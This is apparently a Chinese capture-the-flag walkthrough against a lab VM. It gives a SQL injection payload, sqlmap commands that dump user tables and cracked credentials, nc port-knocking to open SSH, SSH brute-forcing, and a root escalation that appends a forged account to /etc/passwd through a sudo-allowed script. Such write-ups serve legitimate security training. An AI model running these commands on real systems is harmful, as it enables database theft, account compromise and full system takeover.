


在 search 页面的输入框尝试 sql 注入
1' or 1=1#

返回大量数据

sqlmap 爆破数据库
sqlmap -u http://10.4.7.154/search.php --dbs --batch
爆破失败,显示未找到参数

抓包查看

爆破数据库
# 查数据库:
sqlmap -u http://10.4.7.154/results.php --data 'search=1' --dbs --batch

爆破表
#查表:
sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D Staff -tables --batch

爆破表中数据
sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D Staff -T Users --dump
爆破出一条 admin 数据

密码为 transorbital1
856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)
爆表
sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -tables --batch

爆数据
sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -T UserDetails --dump

筛选用户名
sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -T UserDetails -C username --dump
筛选密码
sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -T UserDetails -C password --dump
将用户名密码分别保存到 user.txt 和 password.txt 文件中
ssh 爆破,显示被拒绝

查阅资料
SSH 的 knockd 是一种基于端口“敲门”(port knocking)的安全措施,它可以在不暴露 SSH 服务端口的情况下,允许合法用户通过特定的端口序列访问 SSH 服务。
具体来说,knockd 通过监听特定的端口序列,当用户按照正确的顺序敲击这些端口时,会自动解除对 SSH 服务端口的阻止,从而允许用户访问 SSH 服务。这种方法可以有效地隐藏 SSH 服务,避免暴露在公网中,从而提高系统的安全性。
登录网页
admin
transorbital1

发现最下方出现“文件不存在”字样

尝试文件读取

读取 knockd.conf 文件

敲击这三个端口打开 ssh
nc 10.4.7.154 7469
nc 10.4.7.154 8475
nc 10.4.7.154 9842

敲击后可成爆破

login: chandlerb password: UrAG0D!
login: joeyt password: Passw0rd
login: janitor password: Ilovepeepee
挨个用户登录,搜索提权相关信息
最终在 janitor 登录后发现了一些密码

使用这些密码再次爆破 user.txt

有爆破出 fredf 用户
登录 fredf 用户
sudo -l 查看 root 权限

查看 test
vi /opt/devstuff/dist/test/test

看不懂,运行一下
给了提示

查找 test.py
find / -name test.py 2>/dev/null

查看 test.py

python 脚本实现了接受两个命令行参数,并将一个文件的内容读取并追加到另一个文件中
尝试向 /etc/passwd 中添加 root 用户
将用户信息写入 shell 文件

使用有 root 权限的 /opt/devstuff/dist/test/test 写入
sudo /opt/devstuff/dist/test/test shell /etc/passwd
成功写入

不支持无密码登录

生成加密密码
openssl passwd -1 -salt admin 123456
openssl: 是一个开放源代码的加密工具包,提供了各种密码学功能和安全协议的实现。
passwd: 是 OpenSSL 工具包中的一个命令,用于生成密码哈希值。
-1: 表示使用 Unix 加密哈希算法(crypt)进行密码哈希。
-salt admin: 指定盐值为 “admin”,盐值是一个随机字符串,用于增加密码哈希的安全性。
123456: 是要加密的密码明文。
重新编辑,添加到 /etc/passwd

切换用户,提权成功

--data 'search=1'